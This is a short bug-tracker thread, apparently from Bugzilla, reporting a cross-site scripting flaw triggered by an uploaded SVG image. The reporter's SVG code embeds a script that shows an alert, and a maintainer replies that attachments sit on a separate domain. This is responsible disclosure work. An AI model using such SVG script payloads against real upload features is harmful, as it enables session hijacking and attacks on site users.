Yassine ABOUKIR Reporter
	Description • 9 years ago

Hi,

I am able to execute XSS vulnerability by uploading an SVG image in which I injected a malicious javascript payload. The XSS is being executed in the context of bug1154535.bugzilla.mozilla.org

Proof Of Concept :
When you open the attached image, the XSS will be triggered (No harmful payload).

Image code : 
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert("XSSed by Yassine !");
   </script>
</svg>

Kind regards.

	Frédéric Buclin
	Comment 1 • 9 years ago

The attachment is on a separate domain name, so you cannot do much harm this way.